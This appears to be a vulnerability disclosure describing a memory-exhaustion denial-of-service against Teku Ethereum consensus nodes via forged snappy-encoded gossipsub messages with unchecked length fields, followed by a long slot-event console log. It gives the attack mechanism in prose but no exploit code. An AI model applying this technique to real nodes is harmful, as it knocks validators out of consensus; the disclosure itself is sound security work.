Vulnerability Note
1 Summary
Teku nodes are vulnerable to a resource exhaustion attack caused by allocating a buffer from an unchecked attacker-controlled length field causing a DoS condition that prevents them from participating in consensus.
2 Details
2.1 Description
A malicious node may forge invalid snappy encoded gossipsub messages that cause Teku to allocate an arbitrary amount of memory, eventually causing a JVM out-of-memory condition. Teku can be kept busy processing the malicious gossipsub messages causing numerous stack traces and large short-lived allocations. The JVM can trivially be forced to raise an out of memory condition causing it to dump the heap memory to disk once (per PID).
2.2 Impact
- Teku nodes are busy processing the randomized
/eth2/e7a75d5a/beacon_blockgossip messages and fall behind catching up blocks (see log below) - Teku throws (see stack traces below)
- Teku creates one ~1Gb heap dump file per PID (potential for disk space exhaustion if teku is restarted by a resource watchdog; dumping to disk is resource-intensive: see log below where teku does not emit console output for >30sec)
- Teku had trouble staying connected to peers (see log below; peer count decreasing)
Note It’s probably enough to just keep the node busy with unidirectional gossipsub messages
2.3 Demonstration
Node is syncing:
Node falls behind:
Full Console log:
- node falls behind
- peers dropping
- heap dump
11:07:24.756 INFO - Slot Event *** Slot: 222036, Block: b3326a..87e0, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 21
11:07:36.749 INFO - Slot Event *** Slot: 222037, Block: 0b5065..8548, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 20
11:07:48.743 INFO - Slot Event *** Slot: 222038, Block: ... empty, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 24
11:08:00.857 INFO - Slot Event *** Slot: 222039, Block: ... empty, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 20
11:08:12.754 INFO - Slot Event *** Slot: 222040, Block: ... empty, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 21
11:08:24.751 INFO - Slot Event *** Slot: 222041, Block: db7ac7..aaa0, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 20
11:08:36.764 INFO - Slot Event *** Slot: 222042, Block: 2b2c4e..6945, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 19
11:08:48.757 INFO - Slot Event *** Slot: 222043, Block: b554a5..7035, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 24
11:09:00.736 INFO - Slot Event *** Slot: 222044, Block: 479fc1..c84e, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 24
11:09:12.777 INFO - Slot Event *** Slot: 222045, Block: 111ea1..53f4, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 27
11:09:24.753 INFO - Slot Event *** Slot: 222046, Block: 3c0110..f174, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 26
11:09:36.747 INFO - Slot Event *** Slot: 222047, Block: 055fed..945e, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 29
11:09:44.494 INFO - Epoch Event *** Epoch: 6939, Justified checkpoint: 6937, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3
11:09:48.745 INFO - Slot Event *** Slot: 222048, Block: ... empty, Epoch: 6939, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 28
11:10:00.756 INFO - Slot Event *** Slot: 222049, Block: e48863..5301, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:10:12.762 INFO - Slot Event *** Slot: 222050, Block: 956b89..9ae2, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 32
11:10:24.748 INFO - Slot Event *** Slot: 222051, Block: ee9f8f..262c, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 31
11:10:36.769 INFO - Slot Event *** Slot: 222052, Block: 29d133..df75, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:10:48.756 INFO - Slot Event *** Slot: 222053, Block: 40dc64..fdb5, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:11:00.749 INFO - Slot Event *** Slot: 222054, Block: 7f0552..8906, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 22
11:11:12.746 INFO - Slot Event *** Slot: 222055, Block: fed1bb..bc66, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 22
11:11:24.737 INFO - Slot Event *** Slot: 222056, Block: ... empty, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 22
11:11:36.726 INFO - Slot Event *** Slot: 222057, Block: 935e23..08b5, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:11:48.738 INFO - Slot Event *** Slot: 222058, Block: ccb668..ea76, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:12:00.758 INFO - Slot Event *** Slot: 222059, Block: 92f73d..807c, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:12:12.748 INFO - Slot Event *** Slot: 222060, Block: 628817..8cc6, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 23
11:12:24.776 INFO - Slot Event *** Slot: 222061, Block: f55ce7..68e7, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 24
11:12:36.742 INFO - Slot Event *** Slot: 222062, Block: d85738..a1f7, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:12:48.739 INFO - Slot Event *** Slot: 222063, Block: 51c00b..e1e7, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:13:00.761 INFO - Slot Event *** Slot: 222064, Block: 376b3f..88b3, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:13:12.749 INFO - Slot Event *** Slot: 222065, Block: cf73d5..bedc, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:13:24.742 INFO - Slot Event *** Slot: 222066, Block: ... empty, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:13:36.746 INFO - Slot Event *** Slot: 222067, Block: 610ece..5cc4, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:13:48.713 INFO - Slot Event *** Slot: 222068, Block: f38ebc..759d, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:14:00.736 INFO - Slot Event *** Slot: 222069, Block: e0124c..faa9, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 25
11:14:12.734 INFO - Slot Event *** Slot: 222070, Block: 11d3aa..5f68, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:14:24.735 INFO - Slot Event *** Slot: 222071, Block: 9f4fb3..4eb1, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 24
11:14:36.756 INFO - Slot Event *** Slot: 222072, Block: 86ca1e..5e63, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:14:48.743 INFO - Slot Event *** Slot: 222073, Block: 4e6e5a..c597, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:15:00.743 INFO - Slot Event *** Slot: 222074, Block: ... empty, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 25
11:15:12.759 INFO - Slot Event *** Slot: 222075, Block: 28749e..cabd, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:15:24.750 INFO - Slot Event *** Slot: 222076, Block: ... empty, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 25
11:15:36.755 INFO - Slot Event *** Slot: 222077, Block: 6cbc5b..4d4b, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 30
11:15:48.740 INFO - Slot Event *** Slot: 222078, Block: f16411..576c, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:16:00.737 INFO - Slot Event *** Slot: 222079, Block: 2c7283..ed34, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:16:08.490 INFO - Epoch Event *** Epoch: 6940, Justified checkpoint: 6938, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4
11:16:14.835 INFO - Slot Event *** Slot: 222080, Block: 39adec..4725, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:16:24.718 INFO - Slot Event *** Slot: 222081, Block: 61930e..b1c2, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 24
11:16:36.744 INFO - Slot Event *** Slot: 222082, Block: f9a5bc..228b, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:16:48.731 INFO - Slot Event *** Slot: 222083, Block: fa662f..e1f7, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 27
11:17:00.739 INFO - Slot Event *** Slot: 222084, Block: df051c..57dc, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 27
11:17:12.736 INFO - Slot Event *** Slot: 222085, Block: 8661da..f6c5, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 30
11:17:24.732 INFO - Slot Event *** Slot: 222086, Block: 28ec50..97cf, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:17:36.740 INFO - Slot Event *** Slot: 222087, Block: ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:17:48.734 INFO - Slot Event *** Slot: 222088, Block: 36e57c..fae4, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 27
11:18:00.744 INFO - Slot Event *** Slot: 222089, Block: c92650..c05f, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 27
11:18:12.732 INFO - Slot Event *** Slot: 222090, Block: eb2872..658c, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 27
11:18:24.786 INFO - Slot Event *** Slot: 222091, Block: 6307c9..039f, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 26
11:18:36.748 INFO - Slot Event *** Slot: 222092, Block: ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 32
11:18:48.734 INFO - Slot Event *** Slot: 222093, Block: 466d3d..6ea4, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 31
11:19:00.732 INFO - Slot Event *** Slot: 222094, Block: 4d9876..512c, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 29
11:19:12.792 INFO - Slot Event *** Slot: 222095, Block: ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 29
11:19:24.760 INFO - Slot Event *** Slot: 222096, Block: 4504db..7c22, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:19:36.747 INFO - Slot Event *** Slot: 222097, Block: d13abb..cbc6, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:19:48.747 INFO - Slot Event *** Slot: 222098, Block: ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 34
11:20:00.753 INFO - Slot Event *** Slot: 222099, Block: 2f5d3a..f3f0, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 33
11:20:12.740 INFO - Slot Event *** Slot: 222100, Block: ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 33
11:20:24.744 INFO - Slot Event *** Slot: 222101, Block: a3f19a..14d4, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 31
11:20:36.739 INFO - Slot Event *** Slot: 222102, Block: 94729f..19d0, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 32
11:20:48.767 INFO - Slot Event *** Slot: 222103, Block: 1b1c72..c895, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 32
11:21:00.753 INFO - Slot Event *** Slot: 222104, Block: ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 32
11:21:12.756 INFO - Slot Event *** Slot: 222105, Block: f25724..1127, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 35
11:21:24.773 INFO - Slot Event *** Slot: 222106, Block: 15196e..9adf, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 32
11:21:36.733 INFO - Slot Event *** Slot: 222107, Block: e09cd1..f249, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 37
11:21:48.735 INFO - Slot Event *** Slot: 222108, Block: ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 35
11:22:00.759 INFO - Slot Event *** Slot: 222109, Block: 230706..1b49, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 34
11:22:12.760 INFO - Slot Event *** Slot: 222110, Block: f64c73..f233, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 37
11:22:24.741 INFO - Slot Event *** Slot: 222111, Block: ea1b12..fcb8, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 37
11:22:32.492 INFO - Epoch Event *** Epoch: 6941, Justified checkpoint: 6939, Finalized checkpoint: 6938, Finalized root: 025623..08dd
11:22:37.116 INFO - Slot Event *** Slot: 222112, Block: 16dfb0..6ba7, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 38
11:22:48.850 INFO - Slot Event *** Slot: 222113, Block: 68a51d..9d35, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:23:00.744 INFO - Slot Event *** Slot: 222114, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 33
11:23:12.730 INFO - Slot Event *** Slot: 222115, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:23:24.742 INFO - Slot Event *** Slot: 222116, Block: 1d6aa9..14e1, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 33
11:23:36.813 INFO - Slot Event *** Slot: 222117, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 33
11:23:48.746 INFO - Slot Event *** Slot: 222118, Block: 5177c4..6282, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 33
11:24:00.800 INFO - Slot Event *** Slot: 222119, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 33
11:24:12.711 INFO - Slot Event *** Slot: 222120, Block: c147cc..f3c3, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:24:24.764 INFO - Slot Event *** Slot: 222121, Block: 2335e6..a38a, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:24:36.778 INFO - Slot Event *** Slot: 222122, Block: 2550b7..4215, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:24:48.776 INFO - Slot Event *** Slot: 222123, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:25:00.741 INFO - Slot Event *** Slot: 222124, Block: 298aa6..b2fe, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:25:12.745 INFO - Slot Event *** Slot: 222125, Block: f214ae..cedb, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 40
11:25:24.772 INFO - Slot Event *** Slot: 222126, Block: dc5987..2166, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:25:36.780 INFO - Slot Event *** Slot: 222127, Block: ee6b44..7dab, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 36
11:25:48.754 INFO - Slot Event *** Slot: 222128, Block: 02d416..2861, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 36
11:26:00.745 INFO - Slot Event *** Slot: 222129, Block: 0a289a..a84d, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:26:12.757 INFO - Slot Event *** Slot: 222130, Block: 555e4f..d4c2, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:26:24.760 INFO - Slot Event *** Slot: 222131, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:26:36.797 INFO - Slot Event *** Slot: 222132, Block: b7b50b..527e, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:26:48.734 INFO - Slot Event *** Slot: 222133, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:27:00.787 INFO - Slot Event *** Slot: 222134, Block: adb98e..12b6, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:27:12.866 INFO - Slot Event *** Slot: 222135, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:27:24.853 INFO - Slot Event *** Slot: 222136, Block: a7d48f..e55d, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:27:36.846 INFO - Slot Event *** Slot: 222137, Block: 93ad6e..4a6e, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:27:48.960 INFO - Slot Event *** Slot: 222138, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:28:00.793 INFO - Slot Event *** Slot: 222139, Block: 070edc..73ea, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:28:12.760 INFO - Slot Event *** Slot: 222140, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:28:24.773 INFO - Slot Event *** Slot: 222141, Block: ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:28:36.779 INFO - Slot Event *** Slot: 222142, Block: ff4b9e..b139, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 36
11:28:48.914 INFO - Slot Event *** Slot: 222143, Block: 1ed950..39c9, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 36
11:28:56.490 INFO - Epoch Event *** Epoch: 6942, Justified checkpoint: 6940, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1
11:29:00.813 INFO - Slot Event *** Slot: 222144, Block: ... empty, Epoch: 6942, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 36
11:29:14.451 INFO - Slot Event *** Slot: 222145, Block: 81b4c1..368e, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 35
11:29:24.721 INFO - Slot Event *** Slot: 222146, Block: be4777..2c32, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:29:36.747 INFO - Slot Event *** Slot: 222147, Block: 5130de..38db, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 37
11:29:48.760 INFO - Slot Event *** Slot: 222148, Block: a6b978..19d3, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:30:00.768 INFO - Slot Event *** Slot: 222149, Block: ffc326..7e31, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:30:12.762 INFO - Slot Event *** Slot: 222150, Block: 2319b6..eeaa, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:30:24.751 INFO - Slot Event *** Slot: 222151, Block: ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:30:36.763 INFO - Slot Event *** Slot: 222152, Block: 258fa9..f8dd, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 40
11:30:48.748 INFO - Slot Event *** Slot: 222153, Block: 009775..690f, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 38
11:31:00.741 INFO - Slot Event *** Slot: 222154, Block: ab5cb6..b970, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 37
11:31:12.754 INFO - Slot Event *** Slot: 222155, Block: d9737f..b83c, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 37
11:31:24.754 INFO - Slot Event *** Slot: 222156, Block: 2486d9..186c, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:31:36.751 INFO - Slot Event *** Slot: 222157, Block: 927fdf..eed5, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 35
11:31:48.784 INFO - Slot Event *** Slot: 222158, Block: 5d20eb..262a, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:32:00.733 INFO - Slot Event *** Slot: 222159, Block: ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 31
11:32:12.758 INFO - Slot Event *** Slot: 222160, Block: da7285..5158, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:32:24.766 INFO - Slot Event *** Slot: 222161, Block: 48002d..55cf, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 33
11:32:36.729 INFO - Slot Event *** Slot: 222162, Block: 83b047..d3a3, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:32:48.738 INFO - Slot Event *** Slot: 222163, Block: 9c8109..dffc, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:33:00.745 INFO - Slot Event *** Slot: 222164, Block: 464d02..1c69, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:33:12.734 INFO - Slot Event *** Slot: 222165, Block: b7355e..2624, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:33:24.740 INFO - Slot Event *** Slot: 222166, Block: d3d57e..1d21, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:33:36.763 INFO - Slot Event *** Slot: 222167, Block: ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 37
11:33:48.758 INFO - Slot Event *** Slot: 222168, Block: f07cb2..75f4, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 38
11:34:00.749 INFO - Slot Event *** Slot: 222169, Block: 7003cf..f4da, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:34:12.740 INFO - Slot Event *** Slot: 222170, Block: 334bf1..4dd1, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 39
11:34:24.736 INFO - Slot Event *** Slot: 222171, Block: ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:34:36.715 INFO - Slot Event *** Slot: 222172, Block: ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 39
11:34:48.741 INFO - Slot Event *** Slot: 222173, Block: 975f9f..5c26, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 35
11:35:00.746 INFO - Slot Event *** Slot: 222174, Block: 87eb99..2af0, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 33
11:35:12.736 INFO - Slot Event *** Slot: 222175, Block: ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 32
11:35:20.493 INFO - Epoch Event *** Epoch: 6943, Justified checkpoint: 6941, Finalized checkpoint: 6940, Finalized root: 39adec..4725
11:35:26.307 INFO - Slot Event *** Slot: 222176, Block: 90d07d..6fce, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 29
11:35:36.746 INFO - Slot Event *** Slot: 222177, Block: 54cbda..fa83, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 30
11:35:48.755 INFO - Slot Event *** Slot: 222178, Block: e0b2fc..8882, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 30
11:36:00.738 INFO - Slot Event *** Slot: 222179, Block: 578123..ad75, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 29
11:36:12.736 INFO - Slot Event *** Slot: 222180, Block: ad1984..9f26, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 29
11:36:24.733 INFO - Slot Event *** Slot: 222181, Block: 6108ea..8856, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:36:36.733 INFO - Slot Event *** Slot: 222182, Block: edc67e..ee09, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 30
11:36:48.753 INFO - Slot Event *** Slot: 222183, Block: 6f59ce..a956, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 32
11:37:00.734 INFO - Slot Event *** Slot: 222184, Block: ca9028..d873, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 32
11:37:12.711 INFO - Slot Event *** Slot: 222185, Block: 0ea950..deb3, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 32
11:37:24.741 INFO - Slot Event *** Slot: 222186, Block: f754eb..36c4, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 35
11:37:36.740 INFO - Slot Event *** Slot: 222187, Block: bbc286..5c7e, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 34
11:37:48.751 INFO - Slot Event *** Slot: 222188, Block: ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:38:00.738 INFO - Slot Event *** Slot: 222189, Block: 85ff79..8c39, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:38:12.734 INFO - Slot Event *** Slot: 222190, Block: cc65de..42ca, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:38:24.741 INFO - Slot Event *** Slot: 222191, Block: ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:38:36.738 INFO - Slot Event *** Slot: 222192, Block: fbaa6b..464b, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 30
11:38:48.740 INFO - Slot Event *** Slot: 222193, Block: ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:39:00.748 INFO - Slot Event *** Slot: 222194, Block: 1923cc..4cfa, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:39:12.737 INFO - Slot Event *** Slot: 222195, Block: 9cd659..7b53, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 32
11:39:24.728 INFO - Slot Event *** Slot: 222196, Block: ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 30
11:39:36.739 INFO - Slot Event *** Slot: 222197, Block: a89df5..9a96, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 35
11:39:48.711 INFO - Slot Event *** Slot: 222198, Block: fa2b4f..6fee, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 33
11:40:00.735 INFO - Slot Event *** Slot: 222199, Block: cb9aed..47a6, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 33
11:40:12.757 INFO - Slot Event *** Slot: 222200, Block: 87ffac..ebae, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 36
11:40:24.749 INFO - Slot Event *** Slot: 222201, Block: b23fdc..19b4, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 35
